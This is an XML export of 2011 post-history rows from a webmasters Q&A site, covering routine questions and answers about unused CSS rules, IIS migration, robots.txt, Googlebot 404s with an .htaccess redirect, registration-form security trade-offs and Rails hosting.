  <row Id="22431" PostHistoryTypeId="5" PostId="10043" RevisionGUID="dd732f71-1f87-456d-9318-58e3305ec39a" CreationDate="2011-03-04T17:28:08.730" UserId="5837" Comment="added 318 characters in body" Text="I've got a huge CSS file and an HTML file. I'd like to find out which rules are not used while displaying a HTML file. Are there tools for this?&#xD;&#xA;&#xD;&#xA;The CSS file has evolved over few years and from what I know no one has ever removed anything from it--people just wrote new overriding rules again and again.&#xD;&#xA;&#xD;&#xA;EDIT: It was suggested to use [Dust-Me Selectors][1] or Chrome's Web Page Performance tool. But they both work on level of selectors, and not individual rules. I've got lots of cases where a rule inside a selector is always overridden--and this is what I mostly want to get rid of. For example:&#xD;&#xA;&#xD;&#xA;    body { color: white; padding: 10em; }&#xD;&#xA;    h1 { color: black; }&#xD;&#xA;    p { color: black; }&#xD;&#xA;    ...&#xD;&#xA;    ul { color: black; }&#xD;&#xA;&#xD;&#xA;All the text in my HTML is inside some wrapper element, so it is never white. `body`'s padding always works, so of course the whole `body` selector cannot be removed. And I'd like to get rid of such useless rules too.&#xD;&#xA;&#xD;&#xA;EDIT: And another case of useless rule: when it duplicates existing one without changing anything:&#xD;&#xA;&#xD;&#xA;    a       { margin-left: 5px; color: blue; }&#xD;&#xA;    a:hover { margin-left: 5px; color: red; }&#xD;&#xA;&#xD;&#xA;I'd happily get rid of the second `margin-left`... again it seems to me that those tools does not find such things.&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/dustmeselectors/&#xD;&#xA;" />
  <row Id="22432" PostHistoryTypeId="2" PostId="10063" RevisionGUID="dfa4454b-65f6-4840-b66d-42dabec10136" CreationDate="2011-03-04T17:37:29.633" UserId="5841" Text="What is your httpd.conf mod_proxy config?  How many other servers does this proxy pass point to?  I have something that I think it similar to what you are doing as well, but I can't know for sure without seeing configs or knowing the setup." />
  <row Id="22433" PostHistoryTypeId="2" PostId="10064" RevisionGUID="be7d17bb-f98c-4c18-954b-9db932d83f65" CreationDate="2011-03-03T22:07:08.457" UserDisplayName="David.Chu.ca" Text="I have to migrate an ASP.Net web site from IIS6 to IIS7.  I tried to copy the all files for a web site from IIS6 (c:\inetpub\wwwroot\MySite) to another box with Windows Server 2008 R2 where IIS7 is the default web server. &#xD;&#xA;&#xD;&#xA;However, the simply copy seems not working. Should I rebuild the web site for IIS7 or should I make changes on the new box with IIS7 such as web.config?&#xD;&#xA;&#xD;&#xA;Thanks for the comments. Further investigation I found that http handers seems caused exception:&#xD;&#xA;&#xD;&#xA;    &lt;!--httpHandlers&gt;&#xD;&#xA;      &lt;add path=&quot;Reserved.ReportViewerWebControl.axd&quot; verb=&quot;*&quot; &#xD;&#xA;        type=&quot;Microsoft.Reporting.WebForms.HttpHandler, Microsoft.ReportViewer.WebForms, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot; &#xD;&#xA;        validate=&quot;false&quot;/&gt;&#xD;&#xA;    &lt;/httpHandlers--&gt;&#xD;&#xA;&#xD;&#xA;After I comment out the above handler in web.config, the web page works fine. This is just my initial test. I am not sure if I should rebuild the web site from source codes or not. If so, do I need to specify for IIS7?" />
  <row Id="22434" PostHistoryTypeId="1" PostId="10064" RevisionGUID="be7d17bb-f98c-4c18-954b-9db932d83f65" CreationDate="2011-03-03T22:07:08.457" UserDisplayName="David.Chu.ca" Text="Migrate ASP.Net web site from IIS6 to IIS7" />
  <row Id="22435" PostHistoryTypeId="3" PostId="10064" RevisionGUID="be7d17bb-f98c-4c18-954b-9db932d83f65" CreationDate="2011-03-03T22:07:08.457" UserDisplayName="David.Chu.ca" Text="&lt;iis7&gt;&lt;iis6&gt;" />
  <row Id="22436" PostHistoryTypeId="17" PostId="10064" RevisionGUID="097f887a-7db0-44a1-a55f-1a510da66dec" CreationDate="2011-03-04T18:13:47.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5187207/migrate-asp-net-web-site-from-iis6-to-iis7" Text="" />
  <row Id="22437" PostHistoryTypeId="2" PostId="10065" RevisionGUID="d77328af-5ec5-4140-bc38-51ff4ffaf426" CreationDate="2011-03-04T18:37:30.597" UserId="5844" Text="Before I begin, I must add that I am more of a programmer, so please be patient :p&#xD;&#xA;&#xD;&#xA;I have a 2003 server running IIS 6. I am trying to create a Facebook application that accesses a url on my server through an I-Frame. However, Facebook is trying to send some data via POST to my page. I assumed it wouldn't be a problem since the page is .html, but I keep receiving 405 errors (Incorrect Verbs) when trying to access it. Since these are generated by IIS, I had hoped there would be a way for me to allow html files to accept POST.&#xD;&#xA;&#xD;&#xA;However, after a lot of Googling, it seems like that isn't possible, so instead I figure I can convert the page to an aspx one, and that should work... however I am running in to the same issue. I thought that simply adding POST to the .aspx entry in Application Extension Mapping would work, but it still doesn't. &#xD;&#xA;&#xD;&#xA;Does anyone know what the problem could potentially be?" />
  <row Id="22438" PostHistoryTypeId="1" PostId="10065" RevisionGUID="d77328af-5ec5-4140-bc38-51ff4ffaf426" CreationDate="2011-03-04T18:37:30.597" UserId="5844" Text="IIS 6 405 error when POSTing through I-Frame" />
  <row Id="22439" PostHistoryTypeId="3" PostId="10065" RevisionGUID="d77328af-5ec5-4140-bc38-51ff4ffaf426" CreationDate="2011-03-04T18:37:30.597" UserId="5844" Text="&lt;iframe&gt;&lt;post&gt;&lt;error&gt;&lt;aspx&gt;&lt;iis6&gt;" />
  <row Id="22440" PostHistoryTypeId="2" PostId="10066" RevisionGUID="24db1899-62e3-4391-825c-eae6806d0741" CreationDate="2011-03-04T18:42:01.717" UserId="4142" Text="We've used contests in the past. Depending on what industry you're in, you could have a contest for all sorts of things; free merchandise, upgrade to their service level, etc.&#xD;&#xA;&#xD;&#xA;Since I work on a Tourism web site, we get properties in our are to participate by offering free lodging, or lift tickets to their mountain, or a guided fishing tour. In return, we collect entrant's details for our mailing list.&#xD;&#xA;&#xD;&#xA;Granted, we also provide an opt-out box for decency's sake, but you'd be surprised how many don't. It's an excellent way to build up your list, and draws traffic as a bonus. Nothing brings 'em in like freebies!" />
  <row Id="22441" PostHistoryTypeId="16" PostId="6577" RevisionGUID="1c234abb-0bc0-4ca7-819c-ba3447f87739" CreationDate="2011-03-04T18:53:15.193" UserId="1253" />
  <row Id="22442" PostHistoryTypeId="4" PostId="10043" RevisionGUID="05ed4154-6778-489c-b213-5c9a598894f9" CreationDate="2011-03-04T18:59:09.993" UserId="4142" Comment="Change the title to make the question clearer &amp; rephrased it to be a question" Text="How can I find unused/unapplied CSS rules in a stylesheet?" />
  <row Id="22443" PostHistoryTypeId="24" PostId="10043" RevisionGUID="05ed4154-6778-489c-b213-5c9a598894f9" CreationDate="2011-03-04T18:59:09.993" Comment="Proposed by 4142 approved by 1253 edit id of 44" />
  <row Id="22444" PostHistoryTypeId="5" PostId="10055" RevisionGUID="aa6dd2b1-fb0c-4d8c-82cb-2acd1813e9dc" CreationDate="2011-03-04T19:49:24.793" UserId="5839" Comment="deleted 48 characters in body" Text="I need to install the fileinfo extension for PHP on my server. My hosting service does not support help with this. I know I could learn it and do it myself, but since I am an independent contractor and I know that server administration is the weakest part of my abilities, a DIY approach is going to cost me a lot more time than I can afford.&#xD;&#xA;&#xD;&#xA;What is the best way to go about hiring a trustworthy contractor to either install the fileinfo extension for me or to train me in how to do this. Thank-you." />
  <row Id="22446" PostHistoryTypeId="2" PostId="10067" RevisionGUID="e97e2520-d12b-4be2-86c3-4b1ca57009ab" CreationDate="2011-03-04T19:53:17.093" UserId="5849" Text="You can look at sites like Elance or Odesk for a highly recommended person in this area. I've had a lot of success with hiring people from Odesk as long as I only hire people with good ratings. " />
  <row Id="22447" PostHistoryTypeId="2" PostId="10068" RevisionGUID="fd36239e-c7c8-4c6d-a2e3-dcd721fb257b" CreationDate="2011-03-04T20:03:15.603" UserId="5798" Text="What are cons and pros of the following:&#xD;&#xA;&#xD;&#xA; - asking to repeat password&#xD;&#xA; - asking to have a certain length-password&#xD;&#xA; - asking to repeat e-mail address&#xD;&#xA; - using captcha&#xD;&#xA; - sending confirmation e-mail&#xD;&#xA;&#xD;&#xA;what do you think is the best way - to have those above or not? I'm especially interested in the last one.&#xD;&#xA;&#xD;&#xA;Take into account that it is necessary for the web-site to have user's real e-mail address." />
  <row Id="22448" PostHistoryTypeId="1" PostId="10068" RevisionGUID="fd36239e-c7c8-4c6d-a2e3-dcd721fb257b" CreationDate="2011-03-04T20:03:15.603" UserId="5798" Text="User registration usability vs security" />
  <row Id="22449" PostHistoryTypeId="3" PostId="10068" RevisionGUID="fd36239e-c7c8-4c6d-a2e3-dcd721fb257b" CreationDate="2011-03-04T20:03:15.603" UserId="5798" Text="&lt;security&gt;&lt;usability&gt;&lt;registration&gt;" />
  <row Id="22450" PostHistoryTypeId="2" PostId="10069" RevisionGUID="a6fc171f-70ce-4189-aa0c-43296ae8227f" CreationDate="2011-03-04T20:14:47.303" UserId="1253" Text="&gt; asking to repeat password&#xD;&#xA;&#xD;&#xA;This is good as it helps to flush out mistyped passwords. If someone types it in incorrectly this should theoretically catch it. It helps to prevent the user from being able to login for the first time which would certainly be a negative user experience.&#xD;&#xA;&#xD;&#xA;&gt; asking to have a certain length-password&#xD;&#xA;&#xD;&#xA;This is not a bad idea but isn't helpful as you might think. If you are salting and hashing your passwords then all of your stored passwords will be identical in length in your database and (theoretically) unique so if your DB is compromised they essentially are safe. Longer passwords only then make it harder for someone to steal if they are looking over a user's shoulder or something along those lines. Longer passwords also make it harder for users to remember their password especially when it forces them to use one that is unique to your site (which is safer but we all know people reuse the same passwords over and over again).&#xD;&#xA;&#xD;&#xA;&gt; asking to repeat e-mail address&#xD;&#xA;&#xD;&#xA;This isn't a bad thing as it makes it more likely that the user will enter their email address correctly. This is important if you have a forgot password feature that requires them receiving an email with their reset password in it or you send important emails to them as part of your service. Just keep in mind that copy and paste makes this less then 100% effective.&#xD;&#xA;&#xD;&#xA;&gt; using captcha&#xD;&#xA;&#xD;&#xA;Here's a [good article on captcha][1]s I just read a couple of hours ago. I thin it sums up captchas quite nicely. If you're trying to limit spambots from abusing your form then you should consider [other options][2] that are more user-friendly.&#xD;&#xA;&#xD;&#xA;&gt; sending confirmation e-mail&#xD;&#xA;&#xD;&#xA;This is good when you need to verify an email address is real and being used/controlled by the user. Otherwise it is another opportunity for the registration process (or whatever else it is you are doing) to stop or fail. Some people don't get the email, or it comes too slow, or they don't know what to do, etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2011/03/04/in-search-of-the-perfect-captcha/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot/3545#3545" />
  <row Id="22451" PostHistoryTypeId="25" PostId="10068" RevisionGUID="3fb4ddf8-9960-408c-81e3-3c8f0231a4cf" CreationDate="2011-03-04T20:23:19.233" Comment="http://twitter.com/#!/StackWebmasters/status/43768503681024001" />
  <row Id="22452" PostHistoryTypeId="2" PostId="10070" RevisionGUID="e91232ee-63d0-4303-9abd-c1ed638c50ec" CreationDate="2011-03-04T21:22:41.867" UserDisplayName="user5850" Text="I want crawlers to have access to http://www.example.com but not http://www.example.com/&#xD;&#xA;&#xD;&#xA;My robots.txt is as follows:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Allow: /$&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My site is in google search results, but I am not coming up in Bing, Yahoo, etc.  I have had the same robots.txt since last year, and I initially requested inclusion ~1 year ago, having also resubmitted the URL to those latter search engines several times since as well.&#xD;&#xA;&#xD;&#xA;Is my robots.txt blocking those other crawlers?  And if so, why not google as well?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="22453" PostHistoryTypeId="1" PostId="10070" RevisionGUID="e91232ee-63d0-4303-9abd-c1ed638c50ec" CreationDate="2011-03-04T21:22:41.867" UserDisplayName="user5850" Text="Is my robots.txt working as it should?" />
  <row Id="22454" PostHistoryTypeId="3" PostId="10070" RevisionGUID="e91232ee-63d0-4303-9abd-c1ed638c50ec" CreationDate="2011-03-04T21:22:41.867" UserDisplayName="user5850" Text="&lt;robots.txt&gt;" />
  <row Id="22461" PostHistoryTypeId="2" PostId="10072" RevisionGUID="3c8a19fb-6fea-4a87-9b72-2ccc6dd5e51f" CreationDate="2011-03-04T22:56:22.087" UserId="5853" Text="Does anybody knows a good Joomla user forum extension? " />
  <row Id="22462" PostHistoryTypeId="1" PostId="10072" RevisionGUID="3c8a19fb-6fea-4a87-9b72-2ccc6dd5e51f" CreationDate="2011-03-04T22:56:22.087" UserId="5853" Text="A good user forum extension for Joomla?" />
  <row Id="22463" PostHistoryTypeId="3" PostId="10072" RevisionGUID="3c8a19fb-6fea-4a87-9b72-2ccc6dd5e51f" CreationDate="2011-03-04T22:56:22.087" UserId="5853" Text="&lt;joomla&gt;" />
  <row Id="22464" PostHistoryTypeId="17" PostId="10074" RevisionGUID="34418c49-3c59-4a47-b7eb-1b01899bbd98" CreationDate="2011-03-04T22:56:51.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5199073/ruby-on-rails-3-hosting/5199112#5199112" Text="" />
  <row Id="22465" PostHistoryTypeId="17" PostId="10075" RevisionGUID="9f1c8d19-e93a-49c5-b196-5218ccfa1523" CreationDate="2011-03-04T22:56:51.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5199073/ruby-on-rails-3-hosting/5199116#5199116" Text="" />
  <row Id="22466" PostHistoryTypeId="2" PostId="10074" RevisionGUID="9f670988-4123-4c10-b017-85979f8f58a9" CreationDate="2011-03-04T20:50:20.853" UserDisplayName="Matt Phillips" Text="[Heroku][1] Its free for a basic site and small database. Scales based on your needs with reasonable pricing&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heroku.com" />
  <row Id="22467" PostHistoryTypeId="2" PostId="10075" RevisionGUID="c1ec700f-9771-49a5-9147-3e9aa22c5293" CreationDate="2011-03-04T20:50:34.743" UserDisplayName="Srdjan Pejic" Text="You can start with Heroku, http://heroku.com&#xD;&#xA;&#xD;&#xA;They have a free account that'll suffice for most web apps/sites and you can variably change how many resources you need as you scale up.&#xD;&#xA;&#xD;&#xA;I've also been happy with RackSpace's Cloud Hosting platform, http://www.rackspace.com/cloud/&#xD;&#xA;&#xD;&#xA;A fairly-sized server, 10GB of space with 256MB of RAM is about $120/year. It's a DIY virtual instance, meaning you pick an OS and then load it with the runtimes as needed (DB, Ruby, Rails, RVM, so on).&#xD;&#xA;&#xD;&#xA;In the same vein, you've also have Linode, http://linode.com, and Slicehost, http://slicehost.com" />
  <row Id="22468" PostHistoryTypeId="2" PostId="10073" RevisionGUID="28676b8a-e8a9-45e9-959b-48ec08d47fea" CreationDate="2011-03-04T20:45:39.950" UserDisplayName="Abramodj" Text="Please can you suggest me a hosting service with these properties:&#xD;&#xA;&#xD;&#xA; 1. It cost less than 150 $ a year (best would be free!)&#xD;&#xA; 2. It is &quot;ruby on rails 3 ready&quot; (i mean it requires a minimum amount of terminal operations)&#xD;&#xA;&#xD;&#xA;Thanks!! &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22469" PostHistoryTypeId="1" PostId="10073" RevisionGUID="28676b8a-e8a9-45e9-959b-48ec08d47fea" CreationDate="2011-03-04T20:45:39.950" UserDisplayName="Abramodj" Text="Ruby on Rails 3 hosting" />
  <row Id="22470" PostHistoryTypeId="3" PostId="10073" RevisionGUID="28676b8a-e8a9-45e9-959b-48ec08d47fea" CreationDate="2011-03-04T20:45:39.950" UserDisplayName="Abramodj" Text="&lt;web-hosting&gt;" />
  <row Id="22471" PostHistoryTypeId="17" PostId="10073" RevisionGUID="021ac52a-0864-4beb-8f68-f1a7287327ee" CreationDate="2011-03-04T22:56:51.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5199073/ruby-on-rails-3-hosting" Text="" />
  <row Id="22472" PostHistoryTypeId="2" PostId="10076" RevisionGUID="dafa7bcd-e32f-49da-8ca0-4b0ca45a84ed" CreationDate="2011-03-04T23:19:28.157" UserId="1517" Text="I've always liked [CSS Usage][1]. It's a plugin for Firebug and let's you scan the page and see which CSS rules are unapplied. It will even auto-scan and work across several pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-us/firefox/addon/css-usage/ &quot;CSS Usage&quot;" />
  <row Id="22473" PostHistoryTypeId="25" PostId="10070" RevisionGUID="776b3951-2deb-4ae6-be52-754f8da76354" CreationDate="2011-03-04T23:23:19.447" Comment="http://twitter.com/#!/StackWebmasters/status/43813803179245568" />
  <row Id="22474" PostHistoryTypeId="2" PostId="10077" RevisionGUID="8c91db21-8091-44ae-9d55-f958f1fe893b" CreationDate="2011-03-05T00:10:24.810" UserId="5718" Text="I tested this using Google Webmaster Tools and can see that it allows GoogleBot access to http://www.example.com and ALSO http://www.example.com/ - However, it denies access to everything else! You should create accounts with both Google Webmaster Tools and Bing Webmaster Tools to test out your robots.txt file and check if there are any other problems." />
  <row Id="22475" PostHistoryTypeId="2" PostId="10078" RevisionGUID="0c611c84-9a82-4a4b-baf7-5ca2a2d76307" CreationDate="2011-03-05T00:32:39.457" UserId="5806" Text="This does not seem possible, although it may depend on your particular webserver, but I strongly doubt this.&#xD;&#xA;&#xD;&#xA;As far as I know, **www.example.com and www.example.com/ are the same thing**. PHP certainly treats then that way too (if you use parse_url() on both you get exactly the same results).&#xD;&#xA;&#xD;&#xA;The first rule of your robots.txt allows the root of the site to be accessed (slash or no slash) and the second disallows everything since / technically begins all paths.&#xD;&#xA;&#xD;&#xA;What can make things even more confusing is that some browsers remove the final slash and others add them in the location bar. They do that because the send the same request in both cases, basically asking for / on www.example.com.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22476" PostHistoryTypeId="2" PostId="10079" RevisionGUID="b393f4e7-6bb6-4f6a-8507-2700b1e937f2" CreationDate="2011-03-05T01:19:43.400" UserId="5854" Text="You can set a cookie that acts as a counter. Increment it only on first page of the visit. Then send the current value (after the increment) in a custom variable, to also only be triggered on first page of visit.  Then in the reports you can see how many hits to #n there are from custom variable report. " />
  <row Id="22477" PostHistoryTypeId="2" PostId="10080" RevisionGUID="9ecd53bc-02ce-4b12-9395-0a7975b53bf1" CreationDate="2011-03-05T01:34:43.583" UserId="3590" Text="For two months now, googlebot is trying to get a file which does not exist anymore. This is just one example out of many: I had renamed the file to a better name and removed the old file. Now, why does Google insist on getting a file which it already has seen does not exist for months? doesn't it just give up and get on being a happy bot?&#xD;&#xA;&#xD;&#xA;My Error log file is filled with these repeating lines all wanting to get that one file, by presumingly googlebot:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [Sat Mar 05 01:55:41 2011] [error] [client 66.249.66.177] File does not exist: &#xD;&#xA;    /var/www/vhosts/website.org/httpdocs/extraNeus.php &#xD;&#xA;    &#xD;&#xA;    [Sat Mar 05 01:58:20 2011] [error] [client 66.249.66.177] File does not exist: &#xD;&#xA;    /var/www/vhosts/website.org/httpdocs/extraNeus.php&#xD;&#xA;&#xD;&#xA;    [Sat Mar 05 02:03:57 2011] [error] [client 66.249.66.177] File does not exist: &#xD;&#xA;    /var/www/vhosts/website.org/httpdocs/extraNeus.php&#xD;&#xA;&#xD;&#xA;on and on ... and on... &#xD;&#xA;" />
  <row Id="22478" PostHistoryTypeId="1" PostId="10080" RevisionGUID="9ecd53bc-02ce-4b12-9395-0a7975b53bf1" CreationDate="2011-03-05T01:34:43.583" UserId="3590" Text="Why can't GoogleBot forget a 404 File Does Not Exist?" />
  <row Id="22479" PostHistoryTypeId="3" PostId="10080" RevisionGUID="9ecd53bc-02ce-4b12-9395-0a7975b53bf1" CreationDate="2011-03-05T01:34:43.583" UserId="3590" Text="&lt;error&gt;" />
  <row Id="22480" PostHistoryTypeId="17" PostId="10080" RevisionGUID="03451bb0-6436-4f3d-b368-d53279000b5a" CreationDate="2011-03-05T01:40:34.537" UserId="-1" Comment="from http://stackoverflow.com/questions/5201043/why-cant-googlebot-forget-a-404-file-does-not-exist" Text="" />
  <row Id="22481" PostHistoryTypeId="5" PostId="10080" RevisionGUID="39970abd-6849-4ff1-bcc6-310dee4d33a6" CreationDate="2011-03-05T01:41:47.603" UserId="3590" Comment="added 152 characters in body; edited tags" Text="For two months now, googlebot is trying to get a file which does not exist anymore. This is just one example out of many: I had renamed the file to a better name and removed the old file. Now, why does Google insist on getting a file which it already has seen does not exist for months? doesn't it just give up and get on being a happy bot?&#xD;&#xA;&#xD;&#xA;My Error log file is filled with these repeating lines all wanting to get that one file, although they know for already long time that its not there:&#xD;&#xA;&#xD;&#xA;1. What to do in these situations? &#xD;&#xA;2. Are there automatic redirection rules that handle via 301 to the home page?&#xD;&#xA;&#xD;&#xA;    [Sat Mar 05 01:55:41 2011] [error] [client 66.249.66.177] File does not exist: &#xD;&#xA;    /var/www/vhosts/website.org/httpdocs/extraNeus.php &#xD;&#xA;    &#xD;&#xA;    [Sat Mar 05 01:58:20 2011] [error] [client 66.249.66.177] File does not exist: &#xD;&#xA;    /var/www/vhosts/website.org/httpdocs/extraNeus.php&#xD;&#xA;&#xD;&#xA;    [Sat Mar 05 02:03:57 2011] [error] [client 66.249.66.177] File does not exist: &#xD;&#xA;    /var/www/vhosts/website.org/httpdocs/extraNeus.php&#xD;&#xA;&#xD;&#xA;on and on ... and on... &#xD;&#xA;" />
  <row Id="22482" PostHistoryTypeId="6" PostId="10080" RevisionGUID="39970abd-6849-4ff1-bcc6-310dee4d33a6" CreationDate="2011-03-05T01:41:47.603" UserId="3590" Comment="added 152 characters in body; edited tags" Text="&lt;google&gt;&lt;redirects&gt;&lt;404&gt;&lt;error&gt;" />
  <row Id="22483" PostHistoryTypeId="2" PostId="10081" RevisionGUID="4526beae-5033-4c23-aa54-5f9699ccbf14" CreationDate="2011-03-05T01:53:13.877" UserId="5854" Text="put this in .htaccess file (change the path/to/files to your file locations)&#xD;&#xA;&#xD;&#xA;    Redirect 301 /extraNeus.php http://www.yoursite.com/new_page.php&#xD;&#xA;&#xD;&#xA;you can leave it in there forever or next time google indexes the page you should be good to remove it. " />
  <row Id="22484" PostHistoryTypeId="25" PostId="10080" RevisionGUID="f630d3fc-c092-45a5-875e-b40958b0ce79" CreationDate="2011-03-05T02:23:19.457" Comment="http://twitter.com/#!/StackWebmasters/status/43859101733752833" />
  <row Id="22485" PostHistoryTypeId="2" PostId="10082" RevisionGUID="f0139735-c46b-4f18-aa17-c50f250631bb" CreationDate="2011-03-05T04:48:29.723" UserId="1076" Text="I think 40 visits in the 51-100 visit range means you're had 40 different (unique) visitors who have visited between 51 and 100 times.  9-14 is probably as close as you're going to get to 10.  There ya go, clear as mud." />
  <row Id="22486" PostHistoryTypeId="2" PostId="10083" RevisionGUID="9faa084a-9203-4456-92fd-08fece5d5135" CreationDate="2011-03-05T05:10:02.500" UserId="5718" Text="You can build a custom report using the &quot;Count of Visits&quot; dimension and &quot;Unique Visitor&quot; metric to get the answer you want. &#xD;&#xA;&#xD;&#xA;However, remember that each time someone visits they add an additional count to the &quot;Count of Visits&quot; dimension without being removed from the previous ones. So each group is a subset of the one above it. For example, if you have two visitors, one who visits 2 times and another who visits 3 times the report will be as follows:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;--------------------------------------&#xD;&#xA;| Count of Visits  | Unique Visitors |&#xD;&#xA;--------------------------------------&#xD;&#xA;| 1                | 2               |&#xD;&#xA;| 2                | 2               |&#xD;&#xA;| 3                | 1               |&#xD;&#xA;--------------------------------------&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="22487" PostHistoryTypeId="2" PostId="10084" RevisionGUID="01c99076-6b5d-4c4f-9ae2-91a44d1f1287" CreationDate="2011-03-05T05:17:32.670" UserId="5718" Text="You can add entries in robots.txt to tell bots not to access the missing page:&#xD;&#xA;&#xD;&#xA;    User-agent: *     &#xD;&#xA;    Disallow: /extraNeus.php&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22488" PostHistoryTypeId="17" PostId="10086" RevisionGUID="bfa4ac5d-dab1-4acd-a67b-4d1ef5f499ae" CreationDate="2011-03-05T05:17:54.047" UserId="-1" Comment="from http://stackoverflow.com/questions/5200136/can-someone-explain-the-true-landscape-of-rails-vs-php-deployment-particularly-w/5200193#5200193" Text="" />
  <row Id="22489" PostHistoryTypeId="17" PostId="10087" RevisionGUID="da54fd55-4be8-4eb6-beb5-65659e172242" CreationDate="2011-03-05T05:17:54.047" UserId="-1" Comment="from http://stackoverflow.com/questions/5200136/can-someone-explain-the-true-landscape-of-rails-vs-php-deployment-particularly-w/5200227#5200227" Text="" />
  <row Id="22490" PostHistoryTypeId="17" PostId="10088" RevisionGUID="3cb62a07-c305-40e7-8d82-d59ac7398a12" CreationDate="2011-03-05T05:17:54.047" UserId="-1" Comment="from http://stackoverflow.com/questions/5200136/can-someone-explain-the-true-landscape-of-rails-vs-php-deployment-particularly-w/5200483#5200483" Text="" />
  <row Id="22491" PostHistoryTypeId="2" PostId="10086" RevisionGUID="abed8811-70a9-49b3-abde-2a2bc46abab8" CreationDate="2011-03-04T22:58:10.843" UserId="1780" Text="Not an answer to your question, but to be very honest, my initial impulse when I read about your business setup was: &quot;Why is he not just sticking with PHP?&quot;&#xD;&#xA;&#xD;&#xA;Don't get me wrong: I'm sure Ruby is a beautiful language, and Rails a great framework and much of it is in many ways superior to PHP. It's also great for a developer to explore new fields etc. etc. &#xD;&#xA;&#xD;&#xA;But from a purely business perspective, PHP is arguably &quot;where it's at&quot; for three important things at the moment:&#xD;&#xA;&#xD;&#xA;* Cheap hosting, and&#xD;&#xA;&#xD;&#xA;* CMS software for every taste, size, skill level and requirement and favourite colour. Some of them are even half-way usable, and&#xD;&#xA;&#xD;&#xA;* Affordable developers, some of them even half-way capable.&#xD;&#xA;&#xD;&#xA;So if I were you, I would look into whether your requirements can be fulfilled with PHP first.&#xD;&#xA;&#xD;&#xA;Otherwise, +1 for asking a very thoughtful question, and it's going to be interesting to see the results. I *have* seen affordable rails hosting but it's few and far between. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22492" PostHistoryTypeId="2" PostId="10087" RevisionGUID="96cf51c4-8255-434c-bc55-f037c50d61e2" CreationDate="2011-03-04T23:03:12.877" UserId="4381" Text="Although Rails hosting will probably never be as inexpensive as PHP, since the infrastructure requirements are always higher, it is not expensive to host a Rails site.&#xD;&#xA;&#xD;&#xA;It does take a certain amount of technical skill to properly deploy a Linux-based server and load on Rails and all the associated database back-end stuff, but this is not an insurmountable obstacle. Any competent programmer could probably get up to speed inside of a few weeks with just a few hours a day and a good reference book. This is the sort of thing that is valuable to know anyway as it helps you tune your deployment environment.&#xD;&#xA;&#xD;&#xA;Many &quot;out of the box&quot; Rails hosting systems are expensive. [EngineYard](http://www.engineyard.com/), [Joyent](http://www.joyent.com/) and [Heroku](http://heroku.com/) are great examples of that, but in every case they do carry a premium over the self-hosted alternative.&#xD;&#xA;&#xD;&#xA;If you have a client that can afford this premium, it's worth taking advantage of their expertise. If you're on a very tight budget, you may not be able to justify this.&#xD;&#xA;&#xD;&#xA;The lest expensive Rails hosting solution I know of that works is using [Linode](http://linode.com/) with a standard distribution combined with [Passenger](http://www.modrails.com/). With some basic tuning, nothing especially difficult, you can host a small to medium scale site on even their most inexpensive offering. A machine with 512MB of memory can typically host two to three lightly loaded Rails sites or one busy one. By lightly loaded I mean hundreds of visitors per day. Busy is thousands to tends of thousands.&#xD;&#xA;&#xD;&#xA;In fact, I have had so much trouble with shared PHP hosting that it's not worth the cost savings to do it that way. Instead I have several VPS systems on Linode that are specifically for PHP hosting, WordPress blogs, typically, and they perform very well. Although you might find it a nuisance that you have to go in and patch the machines once in a while, at least you can schedule that and anticipate potential problems instead of being at the mercy of your provider.&#xD;&#xA;&#xD;&#xA;Commodity hosting companies will often break things accidentally and getting service restored can be a time-consuming process of trouble tickets and phone calls.&#xD;&#xA;&#xD;&#xA;Deployment of any application, Rails or otherwise, is all about workflow. Many Ruby-oriented tools like [Capistrano](https://github.com/capistrano/capistrano) and [Chef](http://wiki.opscode.com/display/chef/Home) can make managing applications much easier than a manual approach.&#xD;&#xA;&#xD;&#xA;My take on Rails: It can be a bit more expensive, but it's a lot easier to manage once you get used to the tools and automate your workflow." />
  <row Id="22493" PostHistoryTypeId="2" PostId="10088" RevisionGUID="af17ea66-08ab-4f1d-8f4b-709eb73ca28c" CreationDate="2011-03-04T23:39:17.463" UserDisplayName="nathanvda" Text="I have found a very good rails shared host: [webfaction][1]. I am very pleased with it. Check it out! The prices are amazingly low, they offer one-click installers for rails, the number of sites you can host is unlimited. Their highest supported rails-version is 3.0.5!!! :) You have ssh access to your share, so you have full control, you can deploy using capistrano, or do stuff by hand on the server. Really awesome. &#xD;&#xA;&#xD;&#xA;Their documentation is really good, and they have a very active support-forum, for all other questions.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webfaction.com/" />
